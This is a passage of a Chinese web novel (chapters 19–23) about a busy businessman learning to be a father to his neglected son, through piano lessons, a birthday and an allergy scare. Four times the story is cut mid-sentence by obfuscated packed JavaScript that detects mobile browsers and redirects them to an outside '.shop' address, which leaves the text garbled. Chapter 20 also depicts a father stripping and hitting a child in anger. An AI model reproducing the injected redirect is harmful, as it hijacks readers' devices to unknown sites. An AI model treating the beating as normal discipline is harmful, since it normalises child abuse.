邱嘉楠在家里和狗狗度过了整个国庆假期，几乎没和人说话，开口那一次是四号上午，他跟阿姨说中午要点两人份的肯德基。 阿姨颇为疑惑：“两人份？尤董没和我说有人要来啊！” 邱嘉楠带着狗狗，说：“崽也要吃肯德基。” “汪！”阿拉斯加应和了一声。 阿姨一愣，知道这邱少爷最近有点像少爷了，没有多说什么，只应了声“好”。 于是，那个中午，邱嘉楠和阿拉斯加就坐在餐桌旁美滋滋地啃了一顿肯德基。阿拉斯加十分觊觎小孩的大汉堡，一直盯着“汪汪汪”地叫，邱嘉楠很舍不得，好久才吃一次肯德基，要是给崽吃，两口就没了，可是他又不能当坏爸爸，于是撕下一小块面包，递给狗狗。 阿拉斯加眼睛一亮，用力嗅嗅，妈的，一点肉味都没有，立刻扭开头，不满地吠了一声。 “不行，肉是我的。”说着还往后退了一个位置，离狗狗远点。 阿拉斯加锲而不舍地追上来，口水淌得哪里都是，最后觉得大概率吃不到汉堡里的肉了，愤愤不平地舔了小孩一下，邱嘉楠立刻嫌弃地擦脸。 19. 第 19 章 尤朗是八号深夜回到家的，行李箱依旧放在楼下，等着明天阿姨给他收拾，自己提着手提包上了楼。邱嘉楠的房间如同往常，从底下的缝隙里透出一线白光。尤朗一怔，旋转门把手，推开了门。 小孩神情自然地合着双眼，一本稍显陈旧的漫画书落在枕头旁，房间里的灯亮得刺眼。 尤朗似乎是见到他的那一瞬间，才忽然想起，这个孩子度过了一个孤独的假期。 尤朗四处看了看，书桌上放着本琴谱，琴谱压着他之前醉酒时见过的纸键盘。小孩还是喜欢钢琴的，他应该对小孩有更多耐心。 寂静的房间里，尤朗不知怎么的大发善心，帮孩子收拾起书桌来了。他习惯了整洁，看不得凌乱。 可是这一收，原本就有些愧疚的心更难受了——他看见书桌的玻璃压板下，静静地躺着两张游乐园的门票。 一张打了两个洞，一张打了一个洞。 邱嘉楠很珍惜和他在一起的日子。 尤朗放下手里的东西，慢慢转身看着床上的小孩。邱嘉楠睡得很沉，从他进来到现在都没有换过姿势，尤朗朝孩子走了两步，弯腰摸了摸孩子的脸。 他说过，不应该牵连孩子。 他说过，要给孩子当爸爸。 尤朗关了灯，静悄悄地退出房间，边往卧室走边拨了个电话：“劳医生，抱歉，这么晚打扰你，我想再跟你见一面。” 章信觉得，老板最近好像转性了，不仅经常约心理咨询，而且脾气好了很多，更重要的是，老板要通过他约关再秋见面，在一个二手琴行。 “楠楠要上课了？”章信很惊讶，前段时间，因为邱嘉楠对钢琴的情绪太大，章信和学校老师通过气，暂时先不让他上钢琴课。 尤朗脸上淡淡的，继续处理手上的工作：“不是他要上，是我要上。” 十月下旬，N市已有明显的秋意，街上路人都穿了厚薄程度不一的外套，道路两旁的树叶掉个不停，几乎每时每刻都有环卫工人拿着大扫把在清扫。关再秋穿着水蓝色的牛仔裤和灰色针织衫，一路顶着瑟瑟的凉风走来。 这一片区域都是琴行，关再秋花了好一会功夫才找到那家：“抱歉，楠楠爸爸，我迟到了一会儿。” “没事，老师这边请。”尤朗引着她到一台三角钢琴前。 关再秋一眼就认出来这是邱嘉楠的那台钢琴，不知道它怎么到了这里，也不好意思多问，只问：“楠楠好吗？” 尤朗稍微提了提西装裤，在琴凳上坐下，淡淡道：“如果是别的，还好，如果是钢琴，不好。” “那楠楠爸爸叫我是······” “给我上课。” 关再秋一愣，这是唱哪一出？尤朗解释道：“关老师不必担心，我没有很高的要求，只要你教我弹一首曲子，一首最简单的，课酬我会照付。” 关再秋神情松动片刻，但心里却清楚，钱不是这么好赚的，还是得谨慎些：“楠楠爸爸，你说的简单，是多简单？” “我没有任何音乐基础，你觉得最简单又能让人一听就知道是首曲子的，就行。” “生日快乐歌？” 生日快乐歌······尤朗眉心微微蹙起，他好像不知道邱嘉楠生日是什么时候，算了，到时候再问吧。 “行，就这个。” 直到尤朗把手搭到键盘上，关再秋才知道什么叫做钱不好赚。尤董的几个手指仿佛是从别人手上截下来的一般，根本不听他自己指挥，一首曲子弹得七零八落，生怕人家听出来这是生日快乐。 后来章信问起给尤董上课的事，关再秋沉默许久，一言难尽地回答：“一言难尽。” 周五下午，环岛奇森的校门口，小朋友们边等家长来接边叽叽喳喳地说话。每当这种时候，环岛奇森校门口就像豪车展，这里走了一辆奔驰，后头又来一辆宾利，还有一辆保时捷在排队。 今天邱嘉楠等很久都没见车来，有点着急：“司机是不是忘记来接我了？” 颜丹琳抓着书包背带：“会不会他换车了？” “不会啊，司机都是开那辆车的，你妈妈呢？什么时候来？” “妈妈今晚在剧院演出，等会爸爸来接。” 邱嘉楠也想爸爸来接，可又知道这不可能，那边一个接一个小朋友上车离开，衬得他更加凄凉，低头踢地面玩。 “邱嘉楠！” “邱嘉楠！！” 颜丹琳睁大了眼睛，摇着旁边的男孩子：“邱嘉楠，好像你爸爸真的来了！” 嗯？怎么可能？邱嘉楠懵懵懂懂地抬起头，听得一声“过来”，如同梦中惊醒一般，这真是尤朗的声音！ 尤朗开的是公司的车，一辆黑色大众，在一列豪车中略显寒酸，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581259|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是邱嘉楠满怀着欣喜，跟其他的小朋友相比，快乐只多不少。 他站在车外，看着车里的尤朗，想努力淡定一些：“你怎么来接我了？” 尤朗只道：“上车。” 邱嘉楠呆呆地点头，又回过身，远远地和颜丹琳摇摇手，表示再见，然后才拉开后座的车门坐了进去。 尤朗边发动车子边问：“是你同学？” “嗯。”邱嘉楠本来想说那是颜丹琳，是我最好的朋友，但是又怕尤朗觉得烦，便不说了。 尤朗也不多问，开车走了。 车没有开回家，是开去了N市一家老牌酒店。尤朗今晚约了人谈工作，初次见面，彼此试探，不是非常正经的场合，本来准备直接过去的，路上想起心理医生说过孩子需要通过家长的行为来确认家长对他们的爱，以此建立安全感。于是方向盘一打，就往环岛奇森的方向去了，路上给章信打了电话，叫司机不用去了。 邱嘉楠跟着章信走进酒店门口，听迎上来的人喊尤董，然后在前面带路，将他们带到一个包厢去了。邱嘉楠没见过这样的场合，一直不敢说话。直到包厢里只剩两个人，尤朗才道：“你怎么又不叫人？说过很多次让你叫人，不能每次都跟个哑巴一样。” 邱嘉楠还在看包厢的环境和桌上的餐具，一听这话，也没反应过来要叫什么，愣愣开口：“尤董。” 可真行！尤朗差点没被他气死，刚想发火，又立刻自我降火，要耐心要温柔要和善······ “你想让整个饭店的人都知道我在这里吃饭吗？要低调！”尤朗忍着火气道，“叫爸爸。” 邱嘉楠没想明白为什么他叫一声尤董会让别人都知道尤朗在这里吃饭，但是对于最后一句，他是极度乐意履行的，他有快一个月没叫过爸爸了吧。邱嘉楠看着尤朗，嘴巴一动—— “尤董！”门口传来一声爽朗的笑，这里两个人四个眼睛望过去，眼里夹着或大或小的火焰，恨不得把门口这人给烧了。但是现在不能烧，尤朗还得和人谈事情，只得站起来，假笑道：“曾总，请坐。” 邱嘉楠早跟着站了起来，手足无措地看着来人笑吟吟地走进来，在他们对面坐下。正不知如何是好，便听身旁男人道：“我儿子，楠楠。楠楠，跟曾叔叔问好。” “曾叔叔好。”邱嘉楠机灵地开口，心里很为那句“我儿子”高兴。 20. 第 20 章 生意人吃饭，肉还没夹到嘴里就知道对方想谈什么。尤朗不兜圈子，菜还没上齐就摊牌了，他之前拍过郊区一块很大的地，准备要出方案了，想问对方的装修公司能不能一起给出个方案。 曾总是做装修的，这两年才做大，之前并没有跟尤朗合作过，很惊讶尤朗这么快就把自己的牌亮出来，但他还有别的考虑。 “尤董，你既然找上我，那也应该知道我们年初收购了一家建材公司，不过我们在这块不熟，到现在也没接过什么大单子，要是尤董能帮我们打开市场，我们肯定知恩图报。” 尤朗当然知道，只是他在建材这块一直和老何合作，之前两个中小型项目都做得不错，这次也是属意于他，如果突然变调······ “我知道尤董的顾虑，老何我们也知道的嘛，说真的，之前合作合作就算了，我要是没猜错，尤董这块地要做别墅区的吧，我实话跟你说，老何他就吃不下这么大的单子！” “曾总，”尤朗笑笑，“不是我信不过你，但是装修和建材毕竟是两回事。” 看尤朗有拒绝的意思，曾总立刻笑着岔开了话题：“来，吃饭吃饭，尤董我敬你一杯。”说着就要举杯，尤朗以开车和带着孩子为由拒绝了。曾总讪讪地放下酒杯，再看旁边那个小孩，一直低头吃饭，安安静静，斯斯文文的。 “楠楠，好不好吃？以后曾叔叔请你吃更好吃的，好不好？” 邱嘉楠懵懂地抬起头，今晚已经够好吃了，要是能经常和爸爸一起吃这么好吃的，岂不是美翻了？想到这，他眼睛一亮，立刻笑着点头：“好！” 曾总笑着给小孩夹了一块鲜嫩的鱼腩肉：“楠楠多吃点，以后还和叔叔吃饭好不好？” “好！” 尤朗脸色一变，却没有发作，只是很快找借口结束了饭局。 上车的瞬间，邱嘉楠敏锐地感觉到尤朗心情不好，面对着曾总的假笑在关上车门的一刻消失一空，取而代之的是明晃晃的低气压，死死地笼罩在这个车厢之内，邱嘉楠连呼吸的力度都小心翼翼地控制着。 尤朗一路上半句话都没说，回了家，径直走向客厅，“哐啷”一声把车钥匙砸在玻璃茶几上，随后坐下，指指身前：“过来！” 邱嘉楠抿抿唇，把书包放在旁边，目光躲躲闪闪地站在尤朗面前。 尤朗本就一肚子气，一看小孩这么个遮遮掩掩半点不大方的样子就更气，一言不发，挥起巴掌重重地朝小孩屁股打了几下。邱嘉楠身体没个凭靠的点，一晃一晃的，每次都被打得往前一挺，但是始终死死钉着地面，连脚都不敢挪开半点。 可孩子如此懂事，并没让尤朗心情变好，反而更加急躁，喝令道：“裤子脱了，趴过来！” 邱嘉楠身上还穿着校服，眼底泛着泪光，小嘴一扁，像是在学校里受了同学欺负似的，十分惹人怜爱，只可惜尤朗对此视而不见，只以眼神催促着他快些。 邱嘉楠不知道自己为什么突然就要挨打，不过这一年多来也确实如此，尤朗想打他便打他，他也没有任何理由拒绝。想到过往种种，邱嘉楠不禁心底泛酸，一眨眼，泪水“哗啦”淌下，裤子也随之也扯了下去。 “我还没打，你哭什么？！”尤朗不喜欢小孩哭，小孩一哭他便觉得烦燥，一烦躁就更想打人出气，于是一把揪着小孩，按在自己腿上，“啪啪啪啪”地朝孩子屁股落了十来下巴掌。 小孩皮肤嫩，先是隔着裤子打了几下，又快准狠地拍了十多下，现在屁股已是红红一片。邱嘉楠感觉屁股跟烧起来一样，眼眶里的泪水沉甸甸的，分明拼命忍着不哭，眼泪却还是掉下来。 尤朗却不心疼，只觉得不解气，饭桌上人家说什么他都应，是不是傻？想到这，尤朗又加了两份力，“啪”地扇上小孩的臀。 “啊呜······”邱嘉楠忍不住哭了出来，这一哭，眼泪可就忍不住了，争先恐后地往下掉，不要钱似的。 “你有脸哭？”尤朗边打边骂，“你知不知道你随便说两句好，人家就能拿捏住我？人家说什么你都好，你怎么不跟着人家去？！” “呜呜呜·······”虽然疼得浑身难受，但邱嘉楠还是听清了尤朗的话，哭着道歉，“对不起，我不知道不可以说好，我不说话了，我以后再也不说话了！呜呜呜······疼······” 尤朗被他哭得心烦，可是又被他那句不知道戳中了，邱嘉楠是第一次被他带去跟人家吃饭，怎么懂得这些饭桌上的事情？他这样苛责一个孩子，实在太过分了些。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581260|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小孩依然伏在自己膝头哭个不停，脊背一起一伏，红彤彤的屁股露着，皮肤温度比往常要高些。 尤朗把小孩抱起来，让他面对自己站着，暗地里心疼，表面还是要教训：“以后这种场合，不许乱说话，如果人家问你什么，你就问过我再回答，知道没有？” 邱嘉楠两只手往后背着，手心包裹着微微肿起的红臀，抽噎着回答：“知、知道了。” 尤朗想给他擦擦眼泪，手都快碰到小孩脸了，又觉得有点脏，于是抽了纸巾，随便给他擦了擦：“别哭了。” 感觉到尤朗温柔了些，邱嘉楠大着胆子道：“太疼了。” 尤朗伸手过去给小孩揉了下伤，警告地说：“再敢随便答话，看我不打肿你的屁股！” 板着脸瞪着眼睛太吓人了，邱嘉楠忙摇了摇头。尤朗又道：“今天还没叫人。” 都怪那个坏叔叔，邱嘉楠立刻在心里说起了别人的坏话，要不是那个坏叔叔，他早就叫爸爸了，也用不着被打，哼，以后再也不跟那个坏叔叔说话了！ “又哑巴了？” 邱嘉楠摇摇头，蚊子叫似的：“爸爸。” 尤朗心情舒畅，顺势摆起了爸爸的架子：“上去洗澡睡觉，这么晚不许跟狗狗玩，听到没有？” “知道了。”邱嘉楠点点头，穿好裤子，背上书包上楼了。 第二天一早，邱嘉楠身后的伤已经不疼了，屁股恢复了原样，他随便摸了摸，穿上衣服下楼。他下楼时，尤朗正在客厅工作，一边对着笔记本电脑滑动鼠标一边打电话：“合作可以，但他态度太强势了，想分建材一杯羹。给他分也不是不行，老何吃不下这么大的单子，你把大头给老何，让曾徇喝碗汤。后面安排人跟他谈，我们在建材上让了步，装修上就压他的价。老何那边也要沟通，安排个时间，我跟他吃个饭。” 邱嘉楠不太懂这些，只是“建材”“装修”一类的字眼，让他觉得应该和昨晚吃饭的事有关。他不敢弄出太大声响，光着脚，轻轻地踩着楼梯，到餐桌边吃饭去了。 今早的早餐是吐司、煎蛋和牛奶。邱嘉楠安安静静地吃完，尤朗也刚好打完电话，扭头往餐厅一瞧，只见小孩端着盘子和杯子要往厨房去，他蹙了眉：“你自己收餐具？” 21. 第 21 章 邱嘉楠停在原地，道：“我一直都自己收。” 怎么回事？尤朗更加烦躁，心里转过千百个念头，一会觉得孩子懂事，一会又想他们这家庭的小孩，哪个会自己收餐具，一会又怀疑他不把小孩放心上，这屋里连阿姨都可劲欺负小孩，一时之间都不知道说什么好，最后只道：“放桌上，以后都不要收，那是阿姨的工作，过来。” 邱嘉楠乖乖地把餐具放回桌上，跑去洗了手才到尤朗身边去。 啧，尤朗低头一看，眉头皱得更深了，为什么这小孩身上这么多毛病啊？“为什么光脚？你的拖鞋呢？” 拖鞋很久以前就不合脚了，一开始邱嘉楠被迫光脚，后来就慢慢喜欢上了光脚踩在冰凉木地板上的感觉，也没觉得有什么。可是现在被尤朗一说，他的两只小脚丫就无处安放，左脚搭右脚，右脚搭左脚，好像要把脚收起来不给人看一样。 尤朗盯着他好一会儿，又打了个电话：“章信，你过来一下，带楠楠去买东西。” 其实尤朗知道，他应该亲自带小孩去买东西的，这些都是亲子间的行为，不能总是让章信来做，但是他最近实在太忙了，等不忙的时候再说吧。 看着闭嘴不语的小孩，尤朗不悦开口：“叫人。” 邱嘉楠看着男人，眼睛亮亮的，跟清晨草叶上圆滚滚的露珠一般，带着秋天的清爽：“爸爸。” 尤朗心情这才好一点，但面上还是十分不高兴，命令似的说：“以后每天都要叫爸爸，听到没有？” 邱嘉楠先是点头，又补充道：“有时候见不到你。” 以尤朗的繁忙程度，见不到是常事，天天见反而奇怪了。尤朗心想，真是个笨小孩，这还不好解决？“你不会打电话吗？” “可是，我不知道你的电话号码。” “啧。”尤朗不满，也不知道是对谁不满。邱嘉楠敏感惯了，生怕惹了尤朗不高兴，立马低头道：“对不起。” “道什么歉啊？又不是你的错！” “那是谁的错？” 尤朗一怔，这小孩到底蠢还是聪明啊？为什么觉得小孩在给他下套？但是霸道如尤朗，是绝不会承认自己错的，只是“唰唰唰”写下自己的私人手机号，递给小孩：“呐。” 邱嘉楠看了一眼：“我知道了。” “拿着呀！”尤朗在工作中习惯了身居高位，下达命令，往往一个东西还没递出去，别人的手就伸过来了，哪有让他这么拿着东西的道理？ 可是邱嘉楠毕竟不是他的下属，并不懂他的意思和习惯，只是诚实道：“我记住了。” 怎么个意思？蠢人才要写电话号码是吧？聪明人都过目不忘？尤朗瞥了他一眼，把纸张拍在了桌面上。 没过多久，章信便来了，邱嘉楠去给他开了门：“章信哥哥。” 尤朗听见那称呼，轻笑一声，空气中微微有点酸。 不过章信对于自己的本职工作还是有认知的，先走进来跟尤朗打了招呼：“尤董。” 尤朗故作繁忙，目不转睛地盯着电脑屏幕看完了好长一份文件，晾了章信小半个小时，才抬头：“你来了。楠楠！” 邱嘉楠赤脚跑来，站在尤朗面前。尤朗把小孩拉到身边，道：“你跟章信出去，缺什么就买什么。不，你想买什么就买什么。中午就在外面吃吧，想吃什么？” 邱嘉楠一听这个，嘴角微微上扬，清脆回答：“肯德基！” 尤朗无奈捂脸：“那让章信带你去吃肯德基。” “你呢？”邱嘉楠嘴角一拉，又不那么高兴了。 “我不吃肯德基。” 邱嘉楠误以为尤朗是不想吃肯德基所以不跟自己一起吃饭，忙忙改口：“那我不吃肯德基了。”语气眼神无一不十分急切。 章信在一旁看着尤董逗小孩，忍不住笑出了声。尤朗也笑，温和道：“没事，你就和章信去吧，我中午得出去一趟。”尤朗抬头冲章信说了个西装定制的品牌，“你带他去量一下尺寸，剩下的我来处理，还有，给他约一个全面的体检。” “好的，尤董，我明白。” 尤朗最近可谓十分忙碌，前一个项目到了销售后期，准备收尾总结，别墅区的项目准备动工，他还看上了另一块地，预计明年秋冬竞标。此外，他还得定期去和劳医生沟通他的当爹体验，和关再秋上钢琴课。 至于钢琴课上什么，别问，问就是生日快乐。 这个生日快乐歌少说也学了半个月，最后一次课是十一月中旬，关再秋勉强同意这个学生毕业了，并叮嘱：“楠楠爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581261|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸，如果楠楠问你怎么学的，你最好还是说自学吧。” 省得丢我的脸。 尤朗和关再秋接触了一段时间，对彼此比较熟悉了，说话很随性，尤朗听了只笑：“不不不，我还是会把老师的大名告诉他的。” “帮我祝楠楠生日快乐，如果还有机会见到他，我给他带礼物。” “好，谢谢老师。” 今年邱嘉楠的生日是周五，有了去年的经验，他对生日已经不抱什么希望了，可是最近尤朗对他很好，也许会给他过生日呢！ 不对啊，尤朗又不知道他的生日是什么时候，怎么给他过生日呢？要不提醒一下他？ 不不不，爸爸太忙了，还是不要拿这种小事去烦他。 下午一放学，小朋友们就争先恐后往校门口涌去，明天是周末，好些小朋友谈论着这两天的安排，有的说和爸爸去山上泡温泉，有的说和妈妈去吃大餐。邱嘉楠抓着书包背带，垂头走着。 “邱嘉楠！”颜丹琳的声音从后面传来，又“吭哧吭哧”地跑上来，递给他一个皱皱的小礼物袋，“这是给你的，我今天一直塞在书包里，弄成这样了。算了，不要袋子了，呐，给你。” 邱嘉楠看着颜丹琳递到他跟前的长方形盒子，不敢接，只是摇摇头。 “拿着嘛，你的生日礼物，我叫我爸爸帮我挑的。” 邱嘉楠在深秋的寒风中皱着眉，嘴唇干得有点起皮了：“可是之前你生日我都没有礼物送给你。” “那你以后有机会再送给我嘛！”颜丹琳怕他不要，直接拉开他书包的拉链，把礼物塞了进去。 其实邱嘉楠也是高兴收到礼物的，没有小孩不喜欢别人把直接放心上，特别是邱嘉楠这种从小没受过什么宠爱的人，心中欢欣雀跃的，看颜丹琳态度坚决，便顺势道谢：“谢谢你，我以后有了钱，会给你买最好的礼物。” “好啊！”颜丹琳笑着，拉着邱嘉楠的手往校门口去了。 邱嘉楠是期待着尤朗来接他的，这样就能证明尤朗记得他的生日，可是还没到校门口，他的幻想就破灭了，司机的车已经到了，正等在校门口。 “车来了，我要走了，再见。”邱嘉楠难掩失落。 颜丹琳挥挥手：“生日快乐，拜拜。” 22. 第 22 章 司机没有接到任何通知，只像往常一样去接这位小少爷，今天邱少爷看上去很不高兴的样子，他打过招呼就不再说话，驱车往小别墅去了。 邱嘉楠闷闷地坐在汽车后座，两边嘴角都快拉到下巴了，拼了命地自我安慰，肯定是尤朗太忙了，而且他又不知道今天是什么日子，不来也是正常的，这段时间尤朗对自己已经够好了，不应该奢求那么多。 可是，无论那些话语如何丰富，心底那一抹失落却始终抹不掉，就像老师写在黑板上的粉笔字，尽管擦掉了，依然会留有淡淡的痕迹，轻而易举就被辨认出来了。 邱嘉楠带着那份难以完全被抹去的失落回到了家。可是一打开门，他就立刻被惊住了。客厅后面那块空了一个多月的地方净恢复了原样，尤朗说过卖掉的钢琴如今又好端端地站在那里，而他以为太忙了根本不知道今天是什么日子的爸爸此刻就坐在琴凳上，温和地看着他。 “楠楠，过来。”尤朗轻声道，随后两手放在钢琴键盘上，弹起那首学了大半个月的生日快乐。 邱嘉楠听见钢琴声，零零碎碎的，但还是很快拼凑出曲子来。是生日快乐啊，是他给别的小朋友唱过，曾经也有人为自己唱过，他做梦都希望尤朗为自己唱的生日快乐。 不不不，这一定是在做梦，这场景，爸爸，钢琴，生日快乐，不就是梦里才有的吗？ 邱嘉楠无意识地朝钢琴走去，尤朗专注的侧脸在他含泪的视线中渐渐模糊。他知道尤朗有多忙，一寸光阴一寸金在尤朗身上是实实在在的，但是尤朗竟然为了他花时间去学了一首曲子，尽管很简单，尽管弹得，实在不像话。 尤朗按下最后一个音，颇有自知之明地转向小孩：“楠楠，爸爸弹得不好，学不会，你教爸爸好不好？” “唰”一下，两行眼泪直直淌下来，邱嘉楠感觉脸上一凉，立刻抬手抹了泪，看着钢琴好一会儿，犹犹豫豫地点点头。 尤朗耐心地等着他，看他点头了，才往旁边挪了挪，空出半个位置给他。 邱嘉楠背着书包，慢慢坐在琴凳上，手却没有伸出去。 “不要怕，楠楠，是爸爸在这里，以后爸爸再也不让别人欺负楠楠了。” 邱嘉楠眼泪掉个不停，可是他却没有抹，小手颤颤巍巍的，伸出去碰了一下琴键，撞出一个音来。 他很久没有弹琴了，对着纸键盘练琴还好，不听到声音就没有那么害怕，现在看着这个会出声音的大琴，那种恐惧感又漫上来一些。 尤朗揽着小孩，牵引着小孩的手放到键盘上，轻声道：“试一下，就试一下，慢慢来。” 琴键上飘出来几个音，轻轻的，就像尤朗的吐字。邱嘉楠适应了一下，似乎并没有那么可怕，便自己抬手按了两下，预想中的斥责和痛打并没有到来，他稍微放了心，弹了一段很短的旋律。 “楠楠真棒，教爸爸好不好？” 邱嘉楠满脸的泪，抬眼看着近在咫尺的尤朗，眼中是说不尽的感激感动，而尤朗只是静静地看着他，无言地鼓励着孩子。 邱嘉楠没当过小老师，不知道怎么教人，只是鼓足了勇气，抬起手，把那首生日快乐还算流畅地弹了一遍，太久不摸琴，他也有些生疏。 可是尤朗的心也并不在学琴上，看见孩子对钢琴没了往日的阴影，目的便达成了，曲子结束，他顺势道：“楠楠，生日快乐。” 邱嘉楠眼泪“啪嗒啪嗒”地掉在腿上，校服裤湿得斑斑点点：“你知道？” “嗯，原来不记得，后来翻了户口本，爸爸以后都记住了，会年年都陪着我们楠楠长大，好不好？” 邱嘉楠哭得说不出话来，只是一个劲点头。尤朗笑着给孩子擦擦眼泪，安慰道：“快别哭了，你去洗澡，爸爸带你出去过生日，好不好？” 邱嘉楠洗澡出来，浑身上下散发着沐浴露的清香，等着爸爸拿新衣服过来。尤朗早换上了一身笔挺的西装，却也不在意弄皱，半弯着腰给小孩穿衣服。 这身小西装是定做的，之前让章信带小孩去量尺寸就是为的这个。尤朗帮小孩整理好脖子上的领结：“好了，小帅哥，我们走吧。” 邱嘉楠第一次穿定制的小西装，感觉十分新鲜，虽然校服也是小西装，但毕竟不是爸爸买的，而且全校都那么穿，也就察觉不出特别来，可是今晚这身衣服是给他一个人做的，只有他一个人合穿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581262|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 要出去了，邱嘉楠很想坐副驾驶，可是尤朗不许，再三强调这是违反交通规则的。邱嘉楠不得已坐了后座，却一直朝前伸着，想要和尤朗说话，尤朗被烦了几次，直接呵斥一句：“再不坐好就不去了！” 邱嘉楠果然消停了。 这次去的是一家西餐厅，尤朗预定了位置，一到门口就有人来迎，躬身称呼“尤董”，尤朗微微点头致意，牵着小孩往里去了。 邱嘉楠听过许多次别人叫“尤董”，可是在这种地方总是格外有趣一些，他有样学样，拉拉尤朗的手，笑着叫：“尤董。” “要低调，叫爸爸。” “爸爸。”邱嘉楠笑得口齿不清，叫人听了都跟着一起高兴。 上好的牛排摆在面前，邱嘉楠学着爸爸的样子使用刀叉，结果弄得到处都是，尤朗看得好笑，只好切碎了自己那份，小块小块地喂给孩子。 果然还是要多多练习多多见世面。 吃了晚餐还有蛋糕，邱嘉楠过了一个非常完整的生日，尤朗甚至承诺明天带他去游乐园，陪他玩一整天，邱嘉楠兴奋到深夜，翻来覆去一直睡不着。 可是，游乐园最后并没去成，邱嘉楠清晨是被痒醒的，全身上下哪里都痒，挠了手臂背后又痒，背后消停了大腿又痒，仿佛有无数个蚊子蚂蚁在他身上窜来窜去，想咬哪里咬哪里。有时候分明是觉得脖子痒的，可是又抓不到确实痒的地方，只是隐隐约约的叫人不舒服。 “爸爸。”邱嘉楠坐在床上，带着点哭腔，望着门口的尤朗唤道。 “怎么了？”尤朗见小孩很晚都没下来吃早饭，以为他睡晚了，可没想到他竟然这么可怜兮兮的，好像刚被人欺负狠了一样。 脖子和锁骨处几乎整片抓出来的红痕，非常明显，尤朗眉头一蹙，不好的预感涌上心头，往前几步抓住了小孩折到背后乱抓的手：“别动，忍一忍，爸爸带你去医院。” 不动是不可能的，就连大人也忍不住这样的瘙痒，更何况是小孩。换衣服、洗漱，但凡手能空出来，邱嘉楠就一定要抓，看孩子实在难受得厉害，尤朗连早饭也顾不上吃，给小孩喂了几口豆浆就匆匆出门往社区医院去了。 23. 第 23 章 荨麻疹。 邱嘉楠过敏了。医生开了一盒抗过敏药和一支止痒的药膏，叮嘱一番就让人走了。毕竟是社区医院，能做的实在有限。 尤朗一颗心都挂在给孩子止痒上，在车上就给小孩吃了药，又涂了药膏。药膏能稍微止痒，抗过敏药却得大半个小时才能生效，回去的路上，邱嘉楠又是这里挠那里挠的。 抗过敏药吃了会犯困，身上还没止痒，邱嘉楠就呵欠连连，回到家，感觉稍微好了一些，直接歪在尤朗身上睡了。 尤朗不敢放他回房间，按照医生的说话，可能是螨虫、粉尘等导致的过敏，当即打电话给阿姨，让阿姨把这个房子全部打扫过，床单、被套、沙发套全都换。 对，还有那条狗，尤朗叫了章信来，让他带狗去宠物医院体检。 邱嘉楠睡了近两个小时醒来，感觉身上好多了，但还是有些隐隐的瘙痒感。尤朗检查了一番，有几处挠破了皮，并无大碍。 “饿了没有？早上都没吃。”尤朗道，“不过医生说要忌口，叫阿姨给你煮点肉粥好不好？” 邱嘉楠对忌口尚未有认知，只点了点头。 肉也不能吃高蛋白的牛羊肉，只能吃猪肉。 阿姨用砂锅熬了碎肉粥，放了点青菜末，味道很淡，医生叮嘱的，饮食要清淡。 可是在这清淡的肉粥之外，分明是阿姨给尤朗准备的三菜一汤，邱嘉楠咽了下口水，勺子不自觉地往盘中的虾球伸去。 “海鲜不能吃。” 邱嘉楠抬起头，不说话，可眼里很是委屈，像只在外流浪了很久的小猫，看到一个给它喂食的人，便要缠着人家，想让人家带它回家里，可是又不敢跟太上，只得远远的，用视线依依不舍地缠着。过了一会儿，邱嘉楠收回勺子，埋头舀起了粥。 尤朗心里叹气，知道小孩不好过，便叮嘱阿姨：“以后不用另外做饭了，我和他吃一样的。” “好的，尤董。” 抗过敏药是一天一颗，医生说先吃完这一盒。邱嘉楠数了一下，十二颗药，也就是至少十二天，他都只能“清淡饮食”。 颜丹琳对好友的遭遇大为同情，当即豪爽地表示：“放学了我请你喝奶茶。” “奶茶也不能喝。”邱嘉楠吞咽了下口水，现在但凡一点有味道的东西都能让他垂涎。 “也不是很要紧嘛，喝一口也可以啊！”颜丹琳看出男生的心思，放学之后直接跑去学校斜对面的奶茶店买了一杯热乎乎的奶茶，在瑟瑟的寒风中递给了邱嘉楠。 邱嘉楠很犹豫：“真的可以喝吗？” “一口应该没有关系吧。” 